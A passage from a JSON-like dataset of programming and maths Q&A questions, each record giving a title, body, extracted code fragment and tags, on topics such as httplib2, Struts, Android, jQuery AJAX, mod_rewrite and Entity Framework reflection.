when using httplib2.Http() object", "I'm writing a pythonic web API wrapper with a
class like this\n\n\nas you can see I'm using the method to simplify the
interaction with the object. This method is called quite often inside the class
and I'm wondering what's the best way to interact with this object:\n\ncreate the
object in the and then reuse it when the method is called (as shown in the code
above)\nor create the object inside the method for every call of the method (as
shown in the code sample below)\n\n\n\n", "import httplib2\nimport urllib\n\nclass
apiWrapper:\n\n def __init__(self):\n self.http = httplib2.Http()\n\n def
_http(self, url, method, dict):\n '''\n Im using this wrapper arround the
http object\n all the time inside the class\n '''\n params =
urllib.urlencode(dict)\n response, content =
self.http.request(url,params,method)\n", "python httplib2"], "893134": ["Struts Map
References in JSP", "My question is more complex than below, but I've tried to
simplify things out.\nI have something like the following for my form:\n\nIf I try
this in my JSP page for the form, all of the lines are value except the last one:\
n\nThe last line causes the page to break with \"The function myValue must be used
with a prefix when a default namespace is not specified\". Does anyone know the
correct way to access the map value for a specific key? As I said, it's more
complex than the above. I need something similar to that last line to work. \
nUPDATE\nNote that the following does work, where # is any integer:\n\n", "public
class MyForm extends ActionForm {\n private Map<Long, String> myValues;\n\n
public MyForm() {\n setMyValues(new HashMap<Long, String>());\n }\n\n
public Map<Long, String> getMyValues() {\n return myValues;\n }\n\n
public void setMyValues(Map<Long, String> myValues) {\n this.myValues =
myValues;\n }\n\n public Object getMyValue(String key) {\n return
getMyValues().get(key);\n }\n\n public void setMyValue(String key, Object
value) {\n getMyValues().put(Long.valueOf(key), value.toString());\n }\
n}\n", "jsp struts el"], "1527100": ["Given two basis sets for a finite Hilbert
space, does an unbiased vector exist?", "Let $\\{A_n\\}$ and $\\{B_n\\}$ be two
bases for an $N$-dimensional Hilbert space. Does there exist a unit vector $V$ such
that: \n$$(V\\cdot A_j)\\;(A_j\\cdot V) = (V\\cdot B_j)\\;(B_j\\cdot V) =
1/N\\;\\;\\; \\ \\text{for all} \\ 1\\le j\\le N?$$\n\nNotes and application:\nThat
the $\\{A_n\\}$ and $\\{B_n\\}$ are bases means that\n$$(A_j\\cdot A_k) =\\left\\
{\\begin{array}{cl}\n1&\\;\\text{if }j=k,\\\\\n0&\\;\\text{otherwise}.\\
end{array}\\right.$$ \nIn the physics notation, one might write $V\\cdot A_j = \\
langle V\\,|\\,A_j\\rangle$. In quantum mechanics, $P_{jk} = |\\langle A_j|B_k\\
rangle|^2$ is the \"transition probability\" between the states $A_j$ and
$B_k$. \"Unbiased\" means that there is no preference in the transition
probabilities. A subject much studied in quantum information theory is \"mutually
unbiased bases\" or MUBs. Two mutually unbiased bases satisfy\n$|\\langle A_j|B_k\\
rangle|^2 = 1/N\\;\\;$ for all $j,k$. \nIf it is true that the vector $V$ always
exists, then one can multiply the rows and columns of any unitary matrix by complex
phases so as to obtain a unitary matrix where each row and column individually sums
to one.\n\nIf true, then $U(n)$ can be written as follows:\n$$U(n) = \\exp(i\\
alpha)\n\\begin{pmatrix}1&0&0&0...\\\\0&e^{i\\beta_1}&0&0...\\\\0&0&e^{i\\
beta_2}&0...\\end{pmatrix}\nM\n\\begin{pmatrix}1&0&0&0...\\\\0&e^{i\\
gamma_1}&0&0...\\\\0&0&e^{i\\gamma_2}&0...\\end{pmatrix}$$\nwhere the Greek letters
give complex phases and where $M$ is a \"magic\" unitary matrix, that is, $M$ has
all rows and columns individually sum to 1.\nAnd $M$ can be written as $M=\\exp(im)
$ where $m$ is Hermitian and has all rows and columns sum to 0. What's significant
about this is that the $m$ form a Lie algebra. Thus unitary matrices can be thought
of as complex phases, plus a Lie algebra. This is a new decomposition of unitary
matrices.\nSince $m$ is Hermitian and has all rows and columns sum to 0, it is
equivalent to an $(n-1)\\times(n-1)$ Hermitian matrix with no restriction on the
row and column sums. And this shows that $U(n)$ is equivalent to complex phases
added to an object (the $M$ matrices) that is equivalent to $U(n-1)$. This gives a
recursive definition of unitary matrices entirely in terms of complex phases.\n",
"", "probability vector-spaces hilbert-spaces"], "12555": ["Read access only applet
in a dynamic enviroment", "I have moved on to make my first applet and was zooming
thru everything faster then i anticipated and now i have hit a snag. The applet is
designed to work in a dynamic environment where it will read a specific folder and
all of the files in the sub-folders in that folder. The problem I am having is
that once it is established on my test server it gives:\n\nMy research has told me
that this is because applets in particular are untrusted to begin with.
Unfortunately solutions there are a many i have tried a few but none of which seem
to work. I am currently using eclipse for creating my applet. So if i am trying
to make an applet that reads and displays information on a website from a dynamic
folder on a file server what is the best way to grant these permissions?\n",
"access denied(\"java.io.FilePermission\" \"\\basefolder\" \"read\")\n", "java
permissions applet"], "696487": ["two webPage on single UIWebView", "i am making an
iPad application, \ni want to load 2 webPage on single UIWebView one after
another,\n1st webpage should come when i load my application,and 2nd webpage should
come on click of cell of tableView,\nso,inside my didLoad method i am writing this
(1st webpage),\n\nit works fine.. \nbut on the same page on same webview on click
of cell of tableView i want to load another page,(2nd webpage)\ni
written code for the same, when i click on cell of tableView graph is not
displaying,\ndo i need to clear webpage or reload webpage something like that ?\
nHelp Me Guys, Thanx in Advance !! \n", "NSString *urlAddress =
@\u201dhttp://www.google.com\u201d;\n\n//Create a URL object.\nNSURL *url = [NSURL
URLWithString:urlAddress];\n\n//URL Requst Object\nNSURLRequest *requestObj =
[NSURLRequest requestWithURL:url];\n\n//Load the request in the UIWebView.\
n[webView loadRequest:requestObj];\n", "iphone ios ipad uitableview uiwebview"],
"5605927": ["iOS membership renewal few days late", "What happens if I renew my iOS
membership few days late? I know that Apple will deny \"my ability to distribute
applications on the App Store and your access to the iPhone Developer Program
Portal.\" and that all my existing certificates and provisioning profiles will be
revoked and invalidated. BUT, what will happen if I renew few days after that? I
did not get any emails from Apple about renewal and I just found out that today is
the last day to renew. Since I am from Croatia I can not pay with my credit card
online, I have to send a fax. I don't think that Apple will send me a renewal code
immediately and I just want to know what will happen when I renew it? Will I still
have my existing apps? Will I lose anything? Thank you.\n", "", "ios apple
membership late renewal"], "1839796": ["Custom launch mechanism (e.g F10) on
Vista", "I'm setting up a deployment system for our devices to set them up before
we ship to customers. \nI have three partitions, first is OS partition, second is
Vistas recovery WinRE, third is a linux partition with a hardware test on it. It
boots from the OS partition as standard and when you press f8 during boot up it
boots WinRE partition.\nI would now like to add so that it boots the linux
partition by pressing f10 or similar. I can add it as a dual-boot option with
bcdedit.exe but I've not succeeded in getting Windows boot manager to boot this
partition if f10 is pressed. \nWhen reading a white paper on setting up Vista
recovery WinRE, there is a mention of this Custom Launch Mechanism with F10 but
they don't explain how to set it up and I've not managed to find anything about
that. \nSo how do you setup f10 to boot a specific boot option in Windows boot
manager.\n/Ola \n", "", "windows-vista boot"], "4757324": ["Fix fstab to prevent
boot failure", "How can I fix fstab to prevent boot failure? \nIt seems that I have
added incorrect record to :\n\nWhen I did , it asked user password to mount network
share. It seems that it cannot proceed without password on boot, so it is just
hung. \nBTW, I have RHEL6 VM instance running under Hyper-V. Is there any way to
change fstab file using Hyper-V manager functionality/features? I know about
snapshots and, actually, I have made snapshot before. But the problem is that it
was made long time ago, I will lose all my changes performed recently on
rollback. \n", "/etc/fstab", "boot rhel mount virtual-machine fstab"], "2375443":
["Setting up a multilingual wordpress site", "I am trying to set up a multilingual
site using wordpress. I went through
http://codex.wordpress.org/Multilingual_WordPress#Plugins_that_direct_you_to_extern
al_translation_services and decided to use this option Plugins like Multisite
Language Switcher and the newcomer Multilingual Press link together separate
WordPress network (multisite) installations for each language by pinging back and
forth.. \nNow i installed the Multilingual press and set up a network. The url of
my site was wordpress.private.net and next on is it.wordpress.private.net. Both the
domains are served from same folder. But still when i visit the it.__ site it shows
in english language and that too without all the posts. \nI get this error on
network dashboard\nYou didn't setup any blog relationships! You have to setup them
first to use Multilingual Press. For this, go to Network \u00bb Sites \u00bb and
choose a blog to edit. Then go to the tab \"Multilingiual Press\" and set up the
relationships.\nBut there is no option to set up the relationships in the
tab \"Multilingiual Press. Please guide me where am i going wrong?\nAny other way
to set up is also welcome.\nMy main moto is to run my wordpress site in two
languages \n", "", "wordpress multilingual wordpress-mu"], "3754005": ["Fragment's
onSaveInstanceState never called", "I'm trying to save data in a Fragment's
onSaveInstanceState, but the method is never called.\nAnybody can help?\n\n",
"public class MyFragment extends Fragment {\n\n @Override\n public View
onCreateView(LayoutInflater inflater, ViewGroup container,\n Bundle
savedInstanceState) {\n\n ScrollView content = (ScrollView)
inflater.inflate(R.layout.content, container, false);\n\n // More stuff\n\n
return content;\n\n }\n\n @Override\n public void
onSaveInstanceState(Bundle icicle) {\n\n // NEVER CALLED\n\n
super.onSaveInstanceState(icicle);\n //More stuff\n }\n}\n", "android
fragment"], "1111367": ["Web.config transformation causing an error when building",
"\nPossible Duplicate:\nallowDefinition='MachineToApplication' error when
publishing from VS2010 (but only after a previous build) \n\nI am using the new
VS2010 Web.config transformation. When i do a publish under the 'Release' solution
configuration, i get a folder created called ..obj\\Release\\TransformWebConfig,
which contains the original Web.Config and the transformed Web.Config, in addition
to \nIf i was to then try to re-build my solution using the same 'Release' solution
configuration, i get the following build error:\nError 16 It is an error to use
a section registered as allowDefinition='MachineToApplication' beyond application
level. This error can be caused by a virtual directory not being configured as an
application in IIS.\nPerforming a clean solution, and then building seems to get
rid of this error. From looking around on the web it appears that this problem is
caused because i have multiple web.config files (as a result of the original
Web.Config and the transformed Web.Config as mentioned above), but no-one offers
any other solutions than to 'turn off using the transformations', which is
obviously not the answer.\nDoes anyone know for definate that this is the reason
for my error, and is there a way to stop this from happening withouth having to
perform a clean every time?\nRob\n", "", "c# visual-studio-2010 web-config publish
transformation"], "2983912": ["Assistance with bonding vlans and bridges on Ubuntu
12.04", "We're trying to set up four nics in bond0 with 3 tagged vlan's and three
bridges for KVM VM's on Ubuntu 12.04. \nUsing the interfaces file below I can
manually start and stop networking and get the interfaces up but they do not
survive a reboot and I get the dreaded \"waiting 60 more seconds for network...\"\
nAlso I see these messages in dmesg:\nbr168: received packet on vlan168 with own
address as source address\nAnd the interfaces are not stable (Virtual Machines drop
off the bridge)\ncat /proc/net/vlan/config\n\nbrctl show\n\nThe interfaces file\n\
nLike I said I can get the interfaces up by consoling in and issuing:\nservice
networking stop/start\nor\n/etc/init.d/networking stop/start\nIn order to get the
interfaces up.\n", "VLAN Dev name | VLAN ID\nName-Type:
VLAN_NAME_TYPE_PLUS_VID_NO_PAD\nvlan168 | 168 | bond0\nvlan169 | 169
| bond0\nvlan340 | 340 | bond0\n", "vlan bridge ubuntu-12.04"], "360661":
["image refresh after form upload", "I have a page that posts an upload in order to
(re)set an image. The image is shown on the page.\nAfter the upload post completes
it replies with a redirect to the original page.\nThe img tag says\n\nThe 1234 is
constant, the time is server side generated whenever the page is served up.\nThe
icon does not refresh\nI see in f12 diagnostic network trace that the icon is
fetched and that the server returns the new image; but the browser displays the old
image. This happens on ie 9 and FF4\nI hoped the rand would fix it - when it wasnt
there the browser did not fetch the icon at all, SO showed me the way (as usual)
but it still doesnt work\nEDIT:\nnow have (on the img response)\n\nstill doesnt
work\nEDIT: ASP.NET MVC\nHere is the F12 flow\n\nEDIT: This went away by itself - I
dont know what I changed :-(\n", "<img src = GetIcon?id=1234&rand='time in millsec'
/>\n", "html img"], "5875511": ["What is a good communication layer for both Java
and C#?", "I would like my newer C# 2.0 application to talk to my older Java 1.4
application (can't change versions, sorry). What are my options?\nI think that
using shared memory would give me better performance, but on the other hand, if I
use a network protocol then the architecture would be more flexible. So I'm looking
to weigh up both options to see which has the biggest pay off.\nI've used XML-RPC
implementations that are dog slow, but I assume that was just a bad
implementation, and not the actual protocol. Would I be better off going with a
lower-level protocol? I've used Google's protobuf before in C++ and Python (over
plain old sockets) but I'm not so sure that it's available for Java and C# -- is
there anything similar available for the languages I'm using?\nI'm looking for the
best performance that I can possibly get, but, I'm working with objects and
inheritance hierarchies that I'd like to serialize (protobuf is a good example of
how this can be done). So, sadly, just sending a simple string over sockets isn't
really feasible.\n", "", "c# java communication"], "3954648": ["How to change
cursor shape, color, and blinkrate of Linux Console?", "I know I can change some
fundamental settings of the Linux console, things like fonts, for instance, with .\
nBut I'd like to change things like blinkrate, color, and shape (I want my cursor
to be a block, at all
times). I've seen people accomplishing this. I just never had a chance to ask
those people how to do that.\nI don't mean terminal emulator windows, I mean the
Linux text console, you reach with Ctrl+Alt+F-key\nI'm using Linux Mint at the
moment, which is a Debian derivate. I'd like to know how to do that in Fedora as
well, though.\n\nEdit: I might be on to something\nI learned from this website, how
to do the changes I need. But I'm not finished yet.\nI've settled on using for
now, but I've got a problem: when running applications like or , or attaching a
screen session, the cursor reverts back to being a blinking gray underscore.\nAnd
of course, it only works on this one all other text consoles are unaffected.\nSo
how can I make those changes permanent? How can I populate them to other consoles?\
n", "dpkg-reconfigure console-setup", "linux console cursor"], "5114120":
["Mod_Rewrite Rewrite URL without change address bar", "OK, I saw many different
posts about this subject.\nBut I just don't get it how this all works. \nSo I have
to post this question again.\nSo I know I can do a Rewrite OR Redirect with the
Mod_Rewrite.\nI Also know, that If I don't want that the address bar changes I have
to not set the R Prop behind my Rule.\nI thought about all these things and created
my rule:\n\nSo you can see, If someone enters the domain www.blabla.ch I want to
rewriter it to www.blabla.ch/wordpress, without the addressbar is changed.\nBut
that just won't work.\nI wrote this Rule into the .htaccess of the root www
Folder.\nI tried different things, mentioned on different websites.\nCould please
someone tell me, why this isn't working ? what is my mistake ? Where am I just
thinkin the wrong way?\n", "RewriteEngine on\nRewriteCond %{HTTP_HOST}
^blabla\\.ch$ [OR]\nRewriteCond %{HTTP_HOST} ^www\\.blabla\\.ch$\nRewriteRule ^/?
$ \"http\\:\\/\\/blabla\\.ch\\/wordpress\" [L]\n", "apache mod-rewrite web"],
"684057": ["Android - How To Override the \"Back\" button so it doesn't Finish() my
Activity?", "I currently have an Activity that when it gets displayed a
Notification will also get displayed in the Notification bar.\nThis is so that when
the User presses home and the Activity gets pushed to the background they can get
back to the Activity via the Notification.\nThe problem arises when a User presses
the back button, my Activity gets destroyed but the Notification remains as I want
the user to be able to press back but still be able to get to the Activity via the
Notification. But when a USER tries this I get Null Pointers as its trying to start
a new activity rather than bringing back the old one.\nSo essentially I want the
Back button to act the exact same as the Home button and here is how I have tried
so far:\n\n\n\nHowever the above code still seems to allow my Activity to be
destroyed, How can I stop my Activity from being destroyed when the back button is
pressed?\n", " @Override\n public boolean onKeyDown(int keyCode,
KeyEvent event) {\n if (Integer.parseInt(android.os.Build.VERSION.SDK)
< 5\n && keyCode == KeyEvent.KEYCODE_BACK\n
&& event.getRepeatCount() == 0) {\n Log.d(\"CDA\", \"onKeyDown
Called\");\n onBackPressed();\n }\n\n return
super.onKeyDown(keyCode, event);\n }\n\n public void onBackPressed()
{\n Log.d(\"CDA\", \"onBackPressed Called\");\n Intent
setIntent = new Intent(Intent.ACTION_MAIN);\n
setIntent.addCategory(Intent.CATEGORY_HOME);\n
setIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n
startActivity(setIntent); \n\n return;\n } \n", "android
activity nullpointerexception back-button onkeypress"], "2432667": ["Java Generic
TreeSet", "Hi I have problem with creating a generic TreeSet with its Iterator. I
want to use it to three different kind of Types.\nCan anyone help me how to do
that?\n", "", "java generics treeset"], "5334831": ["Repaint JPanel in Swings",
"How to Display the data in Jpanel using Jtabel when i clicked on Checkbox.\nwhen i
execute my programme for 1st time jpanel is executing. but second time when i
clicked on checkbox panel which contain jtable does not repaint the jpanel.\nplease
help .\nthanks in advance\n", "", "java swing action jpanel repaint"], "2379096":
["xpath not operator and multiple select", "\nThe first statement is selecting all
the hyperlinks which contain in their url. Basically I want to select all links
which have in their url but not .\n\nHow can I put that condition in the loop
itself. I am looking for the correct usage of operator in the loop condition.
Also,\nIf I want to do something like select all links with in their url and then
in the if condition I want to check if the link doesn't have in the url, how do I
do that?\n\n", "for link in hxs.select(\"//a[contains(@href,'/women-')]\"):\n if
('.a[notcontains(@href,\"/women-shoes\")]'):\n self.log(\"LINKS2 :: %s\" %
attribute::href())\n", "python xpath"], "3264024": ["What is the best way to
organize Java code since you can't pass by reference?", "I'm learning how to code
in Java after after coming from C. In C I always separated everything into
individual functions to make the code easier to follow and edit. I was trying to do
this in java but now since I realized that you can't use pointers, I am a bit
confused as to what the best way to do this is.\nSo for example I want to have a
method that creates four alerts for me. So I pass it an alert builder that can then
create the alerts. I can return them in an array, but in my code I already have the
alerts individually named, and I would like to keep it that way so I wouldn't need
to refer to them as alert[1], alert[2]... etc.\nSo that means I would have to
rename them, which would add additional code which would probably be longer than
the code in the actual method!\nAm I thinking about this the right way? Is there
anything I can do?\n-Edit- \n\nand instead replace it with\n\nand have that
code off somewhere to the side.\n", " AlertDialog.Builder builder = new
AlertDialog.Builder(this);\n\n
builder.setMessage(this.getString(R.string.ache_Q_text))\
n .setPositiveButton(\"OK\", new DialogInterface.OnClickListener() {\
n public void onClick(DialogInterface dialog, int id)
{dialog.cancel();}\n });\n\n final AlertDialog ache_Q_alert =
builder.create();\n\n
builder.setMessage(this.getString(R.string.food_Q_text));\n final
AlertDialog food_Q_alert = builder.create();\n\n
builder.setMessage(this.getString(R.string.event_Q_text));\n final
AlertDialog event_Q_alert = builder.create();\n\n
builder.setMessage(this.getString(R.string.ache_Q_text));\n final
AlertDialog ache_type_Q_alert = builder.create();\n", "java c pass-by-reference"],
"5891182": ["Giving access to local server, restricting outside access to Drupal",
"So I have a view that's spitting out an xml file (www.example.com/file.xml) using
the \"Views data export\" module. I need to restrict public access to this file but
at the same time need to periodically scrape/transfer to remote server using a cron
job. Is there a way to give the local server access to this file \"located at\"
example.com/file.xml but restrict it publicly?\n", "", "linux .htaccess drupal
screen-scraping"], "55348": ["How can I check if an element is in overflow area?",
"i have a div with a with of 300px.\nthis DIV contains different Icons and if there
are too many Icons then they are not visible due to \nHow may i programatically
check if an icon is visible or is in overflow area?\n", "overflow:hidden",
"javascript prototypejs"], "3183616": ["MySQL 5.1 command line problem: delete last
char doesn't work", "I can't delete the last character in a given line in the MySQL
CLI, if I press \"END\", it will jump on the character and if I press \"DEL\", it
will delete the char before that (like backspace).\nDoes anybody know a fix for
that issue?\nI use MySQL 5.1.31-1ubuntu2-log with normal shell access.\nThank you
for assistance!\n", "", "mysql cli ubuntu-9.04"], "4903919": ["SQL join and group
problem", "First to say I'm using mySQL and my only way of accessing database is
over phpMyAdmin since this is for a website.\nFirst I have a table of users like
this (table1):\n\nand another table about their season results (table2):\n\nAnd now
I want out the user's name and his last season's result, so something like this:\n\
nThe closest I have come to something like this was\n\nBut I cannot provide that I
want the newest season and it just uses a random one.\nAnyone has any ideas how to
do this?\nbest regards,\nRok\n", "user_id | name\n--------------\n 1 | Mike\n
2 | Johny\n 3 | Bob\n", "sql mysql phpmyadmin"], "3980042": ["JTable vs.
custom TableModel", "I am trying to implement a JTable on a Java GUI that can fill
itself with values from a file and allow the user to make modifications to various
cells. Since I'm using the GUI editor in the Netbeans IDE, my first instinct was
to add the JTable to my form from the palette. however, I quickly realized that I
couldn't add more than 100 rows to the table (for my application i'd need around
500+). additionally, while searching for a solution to this problem, I noticed a
lot of people saying to use a Custom TableModel instead of using the JTable because
it is more robust/efficient.\nfirst, is there a way to add more than 100 rows to a
JTable? secondly, is using the JTable (which uses the DefaultTableModel) really a
bad implementation? my form is pretty complex, so I would prefer to use the GUI
editor to adjust the size, position, etc. of my JTable as opposed to hard-coding
it.\n", "", "java swing netbeans jtable"], "5046728": ["How are the MSN XMPP JID
hashes
calculated?", "MSN messenger (windoze live connect or whatever they call it
nowadays) over XMPP doesn't use the actual email addresses for buddy JIDs, but
[email protected]\nThese hashes can be looked up using getjid,
but I am wondering if anybody knows how they are actually calculated.\n", "", "hash
xmpp msn-messenger"], "3980041": ["MS Dynamics CRM 2012: Script Editor
Enhancements", "I have been trying to find some more information about the next
Microsoft Dynamics CRM product (2012 / 6). Mainly I am interested in any
enhancements that will be made to the scripting editor.\nThere was great
improvements between version 4 and 5 (2011), the most welcome for me being the
ability to share script functions across form/field events.\nWhat I really miss
though is the complete lack of formatting in the editors. Yes, it would be great to
have intellisense and the likes, but I would be happy just to settle for a better
formatting function (auto-tab) and some highlighting for better readability.\nDoes
anybody have any information on where Microsoft is going in this respect? I am
happy to do some reading if anybody has a good link to share.\nMaybe there is a 3rd
party tool that has good integration? I would be interested in taking a look into
some of them if they exist, or somebody can recommend through experience.\nLooking
forward to hearing other peoples opinions on this one.\nThanks\n", "", "javascript
editor dynamics-crm dynamics-crm-2011"], "2301052": ["can the editor respect escape
sequences in log files?", "Is there a format (can there be a format, how can I
create a format) for the editor which will respect escape sequences in a log file?\
nI frequently open log files which have been formatted for a terminal view with
escape sequences to turn colouring on and off. \nThe escape sequences are displayed
as [[07;35m (frinstance, to turn pink on, I think).\n\nI'd like to see the code
after this displayed in pink.\nIf that can't be done, can the escape sequences be
ignored altogether, as they just mess up the view of the text. (Text which was
aligned and coloured is now unaligned and uncoloured).\n\nthanks.\n", "", "logging
aptana"], "2745738": ["Using antiderivative to calculate complex integral", "$$\\
int_{1}^{3}(z-2)^3 dz $$\nI get the following -\n$$\\frac{1}{4}[(3-2)^3 - (1-2)^3]
= \\frac{1}{4} + \\frac{1}{4} = \\frac{1}{2}$$\nHowever the answer sheet I have
just show it reduced to $\\frac{1}{4} - \\frac{1}{4} = 0$\nCant see how they are
getting a - instead of a +...what am I missing?\n", "", "complex-analysis
integral"], "3906960": ["Remove TinyMCE control and re-add", "I have a js
application that never reloads the page, so when navigating I need to remove
TinyMCE controls entirely, and then I want to re-initialize when navigating to an
area that needs it. I tried the accepted answer to this question, but it seems to
do nothing.\nHow do i remove tinyMCE and then re-add it?\n\nand my specific
implimentation:\n\nI also tried \n\nI know that that statement gets executed when I
put an alert in the conditional... I know that is the correct ID-- Is there
something else buried in the API that I'm missing? This is Not the jQuery version.
The editor persists after the remove attempt, and I even get a new one with the
same ID if i re-init it by navigating back to the state with the form. \nEDIT: the
solution below does not work in current build 3.5b3, only in 3.4.9. There is a bug
where 't is undefined'\nJust in case, this is the relevant part of the DOM after
the init. \n\n", " tinymce.EditorManager.execCommand('mceRemoveControl',true,
editor_id);\n", "javascript html tinymce state"], "1095924": ["Not able to input
text in html text field", "I have a script that makes me able to drag some content
in a div.\nBut because you can drag around, no matter where you place the cursor in
the div, I am not able to input some text in a text field. \nIs it possible to
allow that? \nI can eaily click links in the div container. But not input text in a
html input field.\nThis is the javascript:\n\nThis is my extended mousewheel
function (if needed)\n\nAnd here goes the HTML\n\nThank you.\n", "$
(document).ready(function () {\n\n$('#roadmap').mousedown(function (event) {\n $
(this)\n .data('down', true)\n .data('x', event.clientX)\
n .data('scrollLeft', this.scrollLeft);\n\n return false;\
n}).mouseup(function (event) {\n $(this).data('down', false);\
n}).mousemove(function (event) {\n if ($(this).data('down') == true) {\n
this.scrollLeft = $(this).data('scrollLeft') + $(this).data('x') - event.clientX;\n
}\n}).mousewheel(function (event, delta) {\n this.scrollLeft -= (delta * 30);\
n}).css({\n 'overflow': 'hidden',\n 'cursor': 'col-resize'\n});\n});\n$
(window).mouseout(function (event) {\n if ($('#roadmap').data('down')) {\n
try {\n if (event.originalTarget.nodeName == 'BODY' ||
event.originalTarget.nodeName == 'HTML') {\n $
('#roadmap').data('down', false);\n }\n } catch (e) { }\n }\
n});\n", "javascript jquery mouseevent drag"], "5194703": ["Return data from
jQuery.post AJAX call?", "Hi I'm calling this function:\n\nlike this: \n\nSo when
you click .caller it calls the function gets the data correctly populates the
array, but console.log(getCoordenadas()); outputs [].\nIf I move the array
declaration (var coordenadas = new Array();) from the function scope to make it
global, when I click .caller for the first time console.log(getCoordenadas());
outputs [], but the second time it outputs the array correctly. Any ideas?\nThanks
in advance\n", "function getCoordenadas()\n{\n var coordenadas = new Array();\n
$.post(\n '<?=$this->baseUrl('user/parse-kml')?>', \n
{ kmlName: \"esta_chica.kml\"},\n function(jsonCoord) {\n
jQuery.each(jsonCoord, function(i, val) {\n var latlng =
val.split(',');\n coordenadas.push(new google.maps.LatLng(latlng[0],
latlng[1]));\n });\n },\n 'json'\n ); \n return
coordenadas;\n}\n", "javascript jquery ajax arrays return"], "3635973": ["android
location finder from latitude and longitude", "How can we get address or location
name from latitude and longitude in android In my application I have set of
latitude and longitude, But I need an API which will return me the location name
corresponding to the latitude and longitude.\nthanks.\n", "", "android location
finder"], "1458638": ["Get list of top friends for facebook app", "I am Creating A
facebook that Retrieves 10 Random friends.But I need some code to Retrieve Top
friends using comment and like ativity.I used Following code but i get below error\
n\nbelow is the code i tried so far.\n\n", "Invalid argument supplied for foreach()
\n", "php facebook facebook-php-sdk"], "2798158": ["How to make a set of user-
defined functions available to many other classes?", "I'd like to start out saying
Stack Overflow has been a huge help, just from looking up others' questions, but
for this problem I had a hard time finding a solution because it was difficult to
word a question.\nI'm making a 2D platformer perspective shooting game in Java, and
so I have a set of functions that create bullets. Example: \n\nWhat's inside that
function isn't the problem. I want to have this and other similiar functions
availible to multiple classes, basically for any class that needs shooting. I don't
want to copy paste this function into every class that uses it. So I it would help
to put all the functions in a separate class BulletHandler that will be will be
standard.\nBut how do I refer to those functions from all the classes that need
them. I'm not sure if the thing to use is:\n-import? Seems like the most logical
solution, but how do you import your own stuff?\n-extends? AFAIK, this involves a
super class and overwriting functions, not what I need\nWhat is the best way to go
about this? \nI wasn't sure what to information to supply so just mention it if
there's anything that needs to be added and I'll do that right away.\n", "public
void CreateShot01(x, y, angle, velocity, bulletID, delay){\n/*...will do a bunch of
stuff ultimately creating a object in the Projectiles[] \narray, which will be
drawn on screen from the Board Object/Class*/\n}\n", "java class function"],
"3263422": ["gnome-terminal Breaks After Changing the Default Size at Startup", "I
tried this answer, but it broke my Gnome Terminal, with this error message:\n\n\nI
tried reinstalling it and uninstalling/reinstalling it to no avail. Anyone have
any ideas how I can fix this? I really need my terminal ;-)\nEDIT - I should
clarify... Before the terminal broke, I could spawn a new terminal with the
command:\n\nIt broke after I placed the same command but with an \"=\" in the
config settings and saved it. It just so happens that I had a working terminal
open when all this happened and it is still functioning fine, indicating that the
terminal works OK, but the launcher is corrupted.\n", "There was a problem with the
command for this terminal", "ubuntu-9.10 gnome-terminal"], "1870361": ["Read the
value of a referenced entity's PropertyInfo using EF4", "I would like to
dynamically read the values of the PropertyInfos of EntityObjects that I come
across when looping through the PropertyInfos of a parent entity (the column values
of the instance of ImageType that is connected to the current instance of Image,
f.i.).\nThe main entity's type is only known at runtime, so I'm looking for a
generic way of reading the PropertyInfo values of any referenced entity object.\nI
can loop through the PropertyInfos of the sub entity, but when I try to get a value
I get a TargetException: Object does not match target type.\n\nHow can I do this?\
nEdit:\nEntity Framework 4.0 doesn't seem to allow you to dynamically retrieve the
instances of
an entity's related entities. But with EF 4.1 and up you can, by using their class
name as a string identifier. So I upgraded to EF 4.2 and got it working.\nThe
reason I wanted this code is to use it in my DTO translation routine. My DTO's can
have string properties that correspond to the name properties of related entities
and this way I can access those without having to hard code the related entities'
types.\nIn EF 4.1 and up, the ObjectContext is wrapped by a class named DbContext,
which provides navigational properties with which to get instances of related
entities using strings. To dynamically retrieve a singular related entity, you can
use: \ndynamic refObject = Activator.CreateInstance(refObjectType);\nrefObject =
context.Entry(currentObject).Reference(refObjectType.Name).CurrentValue;\nFor those
upgrading from 4.0: The recommended way to work with DbContext is not with
EntityObjects but with POCOs. These can be made manually or they can be generated
via the edmx context menu.\nMy current implementation is as follows:\n\nFor now
this code will only work for referenced entities that have both an Id and a Name
property. Also, there is likely to be a performance penalty for this approach so I
have implemented the flag includeRelated to toggle whether to query the related
objects or not.\n", "// loop through the main entity's properties\nforeach
(PropertyInfo pi in entityType.GetProperties())\n{\n // if the main entity's
property is an entity\n if (pi.PropertyType.BaseType ==
typeof(System.Data.Objects.DataClasses.EntityObject))\n {\n // loop
through the sub entity's properties\n foreach(PropertyInfo mychildren in
pi.PropertyType.GetProperties()) \n { \n // the loop works
fine but when i try to get a value I get a\n // TargetException: Object
does not match target type.\n object test = mychildren.GetValue(pi,
null);\n }\n }\n}\n", "c# reflection entity-framework-4 entity-framework-
4.1"], "2390916": ["Unable to understand CBCBlockCipherMac.update", "Am presently
trying to port a java code to object-c. I however came accross
CBCBlockCipherMac.update and CBCBlockCipherMac.doFinal in the code but don't
understand what this methods do and how they work. The point of confusion is where
a 21 character string was converted to bytes and passed to this method and the
output was a [4]bytes string. Someone please explain to me how this methods work.
Sample code is attached below. Please explain in step what is going in this
method:\n\n", "public String getMyMac(\"Thisstringis21inlength\")\n {\n byte
[] macKey =
{0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10,0x10}\n
byte[] macBytes = new byte[4];\n CBCBlockCipherMac macCipher = new
CBCBlockCipherMac(new DESedeEngine());\n DESedeParameters keyParameters =
new DESedeParameters(macKey);\n DESedeEngine engine = new DESedeEngine();\n
engine.init(true, keyParameters);\n macCipher.init(keyParameters);\n
byte[] macDataBytes = macData.getBytes(); \n macCipher.update(macDataBytes,
0, macData.length());\n macCipher.doFinal(macBytes, 0);\n byte[]
encodedMacBytes = Hex.encode(macBytes);\n String mac = new
String(encodedMacBytes);\n return mac;\n }\n", "encryption
bouncycastle"], "4553154": ["set up SMTP to deliver to MySQL (not to
authenticate)", "We'd like to develop a system similar to Facebook, where we have
an internal messaging system on the webpage, but messages are delivered to the
recipients by email too, and can be replyed upon (using a special reply-to
address), and those messages get into the internam messaging system too. To
implement this, we need to have an SMTP server, which delivers incoming emails to a
MySQL database, in which we later processes those messages. What SMTP server you
suggest, and if there are anything like that, what ready-made packages?\n", "",
"mysql smtp emailserver"], "3156227": ["How to create an ASN.1 DER-encoded blob
simply", "Greetings,\nHow can I simply encode some binary data into an ASN.1 DER-
